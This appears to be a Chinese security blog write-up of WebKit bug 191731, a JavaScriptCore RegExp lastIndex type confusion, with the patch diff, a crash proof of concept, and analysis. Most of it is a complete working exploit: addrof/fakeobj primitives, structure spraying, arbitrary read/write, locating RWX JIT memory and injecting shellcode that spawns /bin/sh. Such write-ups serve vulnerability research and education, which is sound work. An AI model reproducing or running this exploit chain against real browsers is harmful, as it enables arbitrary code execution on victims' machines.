骑麦兜看落日

[Vuln]BUG-191731 WebKit RegExp lastIndex TypeConfusion

字数统计: 2.6k阅读时长: 14 min
2020/04/19 Share

BUG-191731

[TOC]

漏洞描述

This is because if lastIndex is an object with a valueOf() method, it can execute arbitrary code and side effects not permitted by the RegExp fast paths.

测试环境

使用的环境 备注
操作系统 Mac OS X 10.15.3
调试器 lldb lldb-1001.0.13.3 Swift-5.0
反汇编器 IDA Pro 版本号: 7.0
漏洞软件 WebKit JavaScriptCore commit:3af5ce129e6636350a887d01237a65c2fce77823
编译器 xcode Xcode_10.3

漏洞分析

漏洞点

对比diff文件可以看到,添加了对.lastIndex方法类型的检查

1
2
3
4
5
6
 // Source/JavaScriptCore/builtins/RegExpPrototype.js 
// Check for observable side effects and call the fast path if there aren't any.
- if (@isRegExpObject(regexp) && @tryGetById(regexp, "exec") === @regExpBuiltinExec)
+ if (@isRegExpObject(regexp)
+ && @tryGetById(regexp, "exec") === @regExpBuiltinExec
+ && typeof regexp.lastIndex === "number")

显然是在JIT优化之后没有对.lastIndex的类型进行检查导致了side effect

/y标志

全局匹配(/g)操作会读取还会更新lastIndex属性的值,类似于全局匹配

粘滞匹配(/y)也会让这样做,区别是如果是全局匹配,在匹配失败后,lastIndex属性的值会被重置为0,但粘滞匹配不会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var yreg = /abc/y;
console.log(yreg.lastIndex);
console.log("abc".match(yreg));
console.log(yreg.lastIndex);
console.log("abc".match(yreg));
console.log(yreg.lastIndex);
console.log("abc".match(yreg));

console.log("********************");

var greg = /abc/g;
console.log(greg.lastIndex);
console.log("abc".match(greg));
console.log(greg.lastIndex);
console.log("abc".match(greg));
console.log(greg.lastIndex);
console.log("abc".match(yreg));

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
0
[ 'abc', index: 0, input: 'abc', groups: undefined ]
3
null
0
[ 'abc', index: 0, input: 'abc', groups: undefined ]
********************
0
[ 'abc' ]
0
[ 'abc' ]
0
null

这个漏洞只有/y标志才会导致side effect,猜测可能是直接对/g进行了优化

触发流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310

var funcToJIT = function() {
'abc'.match(reg);
victim_array[0] = val;
}

for (var i = 0; i < 10000; ++i){
funcToJIT()
}

regexLastIndex = {};
regexLastIndex.toString = function() {
victim_array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])

直接运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
lldb
(lldb) target create ./WebKit/WebKitBuild/Debug/bin/jsc
Current executable set to './WebKit/WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run -i ./poc.js
Process 34081 launched: '/Users/qimaidoukanluori/Vuln/WebKit/WebKitBuild/Debug/bin/jsc' (x86_64)
warning: unable to find and load segment named '__OBJC_RO' at 0x7fff72f4e000 in '/usr/lib/libobjc.A.dylib' in macosx dynamic loader plug-in.
warning: unable to find and load segment named '__OBJC_RW' at 0x7fff93372080 in '/usr/lib/libobjc.A.dylib' in macosx dynamic loader plug-in.
Process 34081 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x616161616166)
frame #0: 0x000000010000bf0c jsc`JSC::JSCell::isString(this=0x0000616161616161) const at JSCellInlines.h:203:12
200
201 inline bool JSCell::isString() const
202 {
-> 203 return m_type == StringType;
204 }
205
206 inline bool JSCell::isBigInt() const
Target 0: (jsc) stopped.

问题出在funcToJIT中,可以认为这个函数执行了两个步骤

  1. 调用toString(),执行victim_array[0] = {},此时数组对象变成了ArrayWithContigous
  2. 执行victim_array[0] = val,由于JIT优化,此时jsc依然认为数组对象是ArrayWithDouble,传入一个double值并将其作为一个ArrayWithDouble对象返回

因此执行完成后,jsc将victim[0]作为一个对象指针调用

利用思路

addrof

因为我们想要泄露出一个对象指针,因此需要funcToJIT()函数返回一个double类型

首先赋值array[0]double类型,然后重写lastIndextoString()方法,赋值需要泄露的对象指针

最终JIT仍然将array[0]作为double类型返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var addrof = function(obj) {
var victim_array = [1.1];
var regexp = /abc/y;

var funcToJIT = function (array) {
"abc".match(regexp);
return array[0];
};

for (var i = 0; i < 10000; i++) {
funcToJIT(victim_array);
}

regexpLastIndex = {};
regexpLastIndex.toString = function () {
victim_array[0] = obj;
return "0";
};
regexp.lastIndex = regexpLastIndex;
addr = funcToJIT(victim_array);
return f2i(addr);
}

fakeobj

因为我们要伪造一个对象指针,因此首先重写lastIndextoString()方法,赋值为一个对象,此时victim_arrayArrayWithContigous类型

然后在funcToJIT()中赋值一个double类型,由于JIT认为victim_array始终是ArrayWithContigous没有变,因此将要伪造的对象指针赋值给了一个ArrayWithContigous对象

最终由于lastIndex中改变为对象类型,因此通过victim_array获取赋值的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var fakeobj = function(addr) {
var victim_array = [1.1];
var regexp = /abc/y;

var funcToJIT = function (array) {
"abc".match(regexp);
array[0] = addr;
};
for (var i = 0; i < 10000; i++) {
funcToJIT(victim_array);
}

retexpLastIndex = {};
regexpLastIndex.toString = function () {
victim_array[0] = {};
return "0";
};
regexp.lastIndex = regexpLastIndex;
funcToJIT(victim_array);

return victim_array[0];
}

任意写

可以泄露地址与伪造对象,那么就先找到一个可控的地址,并在这个地址内伪造对象
object类的属性不超过6个的时候,就不会有butterfly,而是将这些属性的值存放在对象内部连续的内存中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> test = {}                                                                                 
[object Object]
>>> test.a = 5.2900040263529e-310
5.2900040263529e-310
>>> test.b = 2
2
>>> test.c = 3
3
>>> test.d = 4
4
>>> test.e = 5
5
>>> test.f = 6
6
>>> describe(test)
Object: 0x1092b0080 with butterfly 0x0 (Structure 0x109270540:[Object, {a:0, b:1, c:2, d:3, e:4, f:5}, NonArray, Proto:0x1092b4000, Leaf]), StructureID: 299

查看内存

1
2
3
4
5
6
(lldb) x/10gx 0x1092b0080
0x1092b0080: 0x010016000000012b 0x0000000000000000
0x1092b0090: 0x0001616161616161 0xffff000000000002
0x1092b00a0: 0xffff000000000003 0xffff000000000004
0x1092b00b0: 0xffff000000000005 0xffff000000000006
0x1092b00c0: 0x00000000badbeef0 0x00000000badbeef0

因此可以泄露出一个对象的地址,并在对象内部伪造一个对象,并通过伪造的对象达到任意写的目的

1
2
3
4
5
6
7
8
9
10
+----------------+-----------------+     +-----> +------------+------------+
| victim | 0 | | | controllee | butterfly |
+----------------+-----------------+ | +------------+------------+
| controller | controllee_addr |-----+ |
+----------------+-----------------+ |
+--------------------------------+
|
---+-------+-------+-------+--------+-------+-------+-------+-------+---
.. | propZ | propY | propX | length | elem0 | elem1 | elem2 | elem3 | ..
---+-------+-------+-------+--------+-------+-------+-------+-------+---

伪造对象

伪造对象需要一个header,header由JSCell,StructureID,butterfly组成,其中JSCell包含StructureID

  • JSCell描述了对象的类型
  • StructureID描述了对象的Shapes
  • butterfly指向对象属性与元素的值
    因此难点在于如何预测

因为StructureID是递增的,所以可以通过spray来命中有效的StructureID

1
2
3
4
5
6
7
var spray = []
for (var i = 0; i < 1000; ++i) {
var obj = [1.1];
obj.a = 2.2;
obj['p'+i] = 3.3;
spray.push(obj);
}

JSCell0x01082107ArrayWithDouble,0x01082109ArrayWithContigous,可以直接使用,但是应该转换为JSValue形式

butterfly可以通过ArrayWithDouble格式写入目标地址

因此我们可以通过controller控制controlleebutterfly来实现任意写

overlap

由于ArrayWithDoubleArrayWithContigous不同类型造成读取与写入的障碍,因此我们可以将两个对象的butterfly指向同一片内存,用于不同类型

1
2
3
4
5
6
7
 var unboxed = [2.2]; // ArrayWithDouble
var boxed = [{}]; // ArrayWithContiguou
controller[1] = unboxed;
var butterfly_shared = controllee[1];
controller[1] = boxed;
controllee[1] = butterfly_shared;
victim.fakeheader = header_arrayDouble;

获取JIT内存区域

因为JIT会在内存中申请RWX的内存,所以可以构造一个JIT编译的function出来,然后找到代码的位置,将shellcode写进去,最后执行function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
getJITFunction : function (){
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}

for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
},

查看进程的内存访问权限,可以在另一个终端输入vmmap [pid]:

1
JS JIT generated code  00004e12a4201000-00004e12e4201000 [  1.0G    24K    24K    32K] rwx/rwx SM=PRV

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310

var funcToJIT = function() {
'abc'.match(reg);
victim_array[0] = val;
}

for (var i = 0; i < 10000; ++i){
funcToJIT()
}

regexLastIndex = {};
regexLastIndex.toString = function() {
victim_array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
var buffer = new ArrayBuffer(8);
var u8 = new Uint8Array(buffer);
var u32 = new Uint32Array(buffer);
var f64 = new Float64Array(buffer);
var BASE = 0x100000000;

function i2f(i) {
u32[0] = i % BASE;
u32[1] = i / BASE;
return f64[0];
}
function f2i(f) {
f64[0] = f;
return u32[0] + u32[1] * BASE;
}
function hex(x) {
if (x < 0) return `-${hex(-x)}`;
return `0x${x.toString(16)}`;
}

//shellcodeFunc();
function pwn() {
var spray = [];
for (var i = 0; i < 0x1000; ++i) {
var obj = [1.1];
obj.value = 2.2;
obj["p" + i] = 3.3;
spray.push(obj);
}

u32[0] = 0x500;
u32[1] = 0x01082107 - 0x10000;
header_arrayDouble = f64[0];
u32[1] = 0x01082107 - 0x10000;
header_arrayContigous = f64[0];
var unboxed = [2.2]; // ArrayWithDouble
var boxed = [{}]; // ArrayWithContiguous

var step1 = {
addrof: function (obj) {
var victim_array = [1.1];
var regexp = /abc/y;

var funcToJIT = function (array) {
"abc".match(regexp);
return array[0];
};

for (var i = 0; i < 10000; i++) {
funcToJIT(victim_array);
}

regexpLastIndex = {};
regexpLastIndex.toString = function () {
victim_array[0] = obj;
return "0";
};
regexp.lastIndex = regexpLastIndex;
addr = funcToJIT(victim_array);
return f2i(addr);
},
fakeobj: function (addr) {
var victim_array = [1.1];
var regexp = /abc/y;

var funcToJIT = function (array) {
"abc".match(regexp);
array[0] = addr;
};
for (var i = 0; i < 10000; i++) {
funcToJIT(victim_array);
}

retexpLastIndex = {};
regexpLastIndex.toString = function () {
victim_array[0] = {};
return "0";
};
regexp.lastIndex = regexpLastIndex;
funcToJIT(victim_array);

return victim_array[0];
},
};

controllee = spray[0x200];
victim = { fakeheader: header_arrayDouble, fakebutterfly: controllee };
victim_addr = step1.addrof(victim);
controller_addr = victim_addr + 0x10;
controller = step1.fakeobj(i2f(controller_addr));

controller[1] = unboxed;
var butterfly_shared = controllee[1];
controller[1] = boxed;
controllee[1] = butterfly_shared;
victim.fakeheader = header_arrayDouble;

var step2 = {
addrof: function (obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
},
fakeobj: function (addr) {
unboxed[0] = i2f(addr);
return boxed[0];
},
read64: function (addr) {
controller[1] = i2f(addr + 0x10); // offset of attribute a
return this.addrof(controllee.value);
},

write64: function (addr, value) {
controller[1] = i2f(addr + 0x10);
controllee.value = i2f(value);
},
getJITFunction: function () {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}

for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
},
getRWXMem: function (shellcodeFunc) {
target_addr = this.addrof(shellcodeFunc);
target_addr = this.read64(target_addr + 8 * 3);
target_addr = this.read64(target_addr + 8 * 3);
target_addr = this.read64(target_addr + 8 * 4);
return target_addr;
},
injectShellcode: function (addr, shellcode) {
for (var i = 0, len = shellcode.length; i < len; i++) {
this.write64(addr + i, shellcode[i].charCodeAt());
}
},
};

shellcode =
"\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05";
func = step2.getJITFunction();
addr = step2.getRWXMem(func);
step2.injectShellcode(addr, shellcode);
func();
}

pwn();

漏洞修复

添加了对lastIndex类型的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
//  Source/JavaScriptCore/builtins/RegExpPrototype.js 
/*
- * Copyright (C) 2016 Apple Inc. All rights reserved.
+ * Copyright (C) 2016-2018 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
@@ -67,6 +67,9 @@ function hasObservableSideEffectsForRegExpMatch(regexp)
{
"use strict";

+ if (!@isRegExpObject(regexp))
+ return true;
+
// This is accessed by the RegExpExec internal function.
let regexpExec = @tryGetById(regexp, "exec");
if (regexpExec !== @regExpBuiltinExec)
@@ -79,7 +82,7 @@ function hasObservableSideEffectsForRegExpMatch(regexp)
if (regexpUnicode !== @regExpProtoUnicodeGetter)
return true;

- return !@isRegExpObject(regexp);
+ return typeof regexp.lastIndex !== "number";
}

@globalPrivate
@@ -315,7 +318,9 @@ function search(strArg)
let regexp = this;

// Check for observable side effects and call the fast path if there aren't any.
- if (@isRegExpObject(regexp) && @tryGetById(regexp, "exec") === @regExpBuiltinExec)
+ if (@isRegExpObject(regexp)
+ && @tryGetById(regexp, "exec") === @regExpBuiltinExec
+ && typeof regexp.lastIndex === "number")
return @regExpSearchFast.@call(regexp, strArg);

// 1. Let rx be the this value.
@@ -358,6 +363,9 @@ function hasObservableSideEffectsForRegExpSplit(regexp)
{
"use strict";

+ if (!@isRegExpObject(regexp))
+ return true;
+
// This is accessed by the RegExpExec internal function.
let regexpExec = @tryGetById(regexp, "exec");
if (regexpExec !== @regExpBuiltinExec)
@@ -389,8 +397,8 @@ function hasObservableSideEffectsForRegExpSplit(regexp)
let regexpSource = @tryGetById(regexp, "source");
if (regexpSource !== @regExpProtoSourceGetter)
return true;
-
- return !@isRegExpObject(regexp);
+
+ return typeof regexp.lastIndex !== "number";
}

// ES 21.2.5.11 RegExp.prototype[@@split](string, limit)
@@ -536,7 +544,9 @@ function test(strArg)
let regexp = this;

// Check for observable side effects and call the fast path if there aren't any.
- if (@isRegExpObject(regexp) && @tryGetById(regexp, "exec") === @regExpBuiltinExec)
+ if (@isRegExpObject(regexp)
+ && @tryGetById(regexp, "exec") === @regExpBuiltinExec
+ && typeof regexp.lastIndex === "number")
return @regExpTestFast.@call(regexp, strArg);

// 1. Let R be the this value.
// Source/JavaScriptCore/builtins/StringPrototype.js
/*
* Copyright (C) 2015 Andy VanWagoner <andy@vanwagoner.family>.
* Copyright (C) 2016 Yusuke Suzuki <utatane.tea@gmail.com>
- * Copyright (C) 2016 Apple Inc. All rights reserved.
+ * Copyright (C) 2016-2018 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
@@ -195,6 +195,9 @@ function hasObservableSideEffectsForStringReplace(regexp, replacer)
{
"use strict";

+ if (!@isRegExpObject(regexp))
+ return true;
+
if (replacer !== @regExpPrototypeSymbolReplace)
return true;

@@ -210,7 +213,7 @@ function hasObservableSideEffectsForStringReplace(regexp, replacer)
if (regexpUnicode !== @regExpProtoUnicodeGetter)
return true;

- return !@isRegExpObject(regexp);
+ return typeof regexp.lastIndex !== "number";
}

@intrinsic=StringPrototypeReplaceIntrinsic

Bug 191731 - RegExp operations should not take fast patch if lastIndex is not numeric.

JavaScript engine exploit(二)

WebKit/webkit/RegExp operations should not take fast patch if lastIndex is not nume…

JavaScript:正则表达式的/y标识

CATALOG
  1. 1. BUG-191731
    1. 1.1. 漏洞描述
    2. 1.2. 测试环境
    3. 1.3. 漏洞分析
      1. 1.3.1. 漏洞点
      2. 1.3.2. /y标志
      3. 1.3.3. 触发流程
    4. 1.4. 利用思路
      1. 1.4.1. addrof
      2. 1.4.2. fakeobj
      3. 1.4.3. 任意写
      4. 1.4.4. 伪造对象
      5. 1.4.5. overlap
      6. 1.4.6. 获取JIT内存区域
    5. 1.5. POC
    6. 1.6. EXP
    7. 1.7. 漏洞修复
    8. 1.8. LINK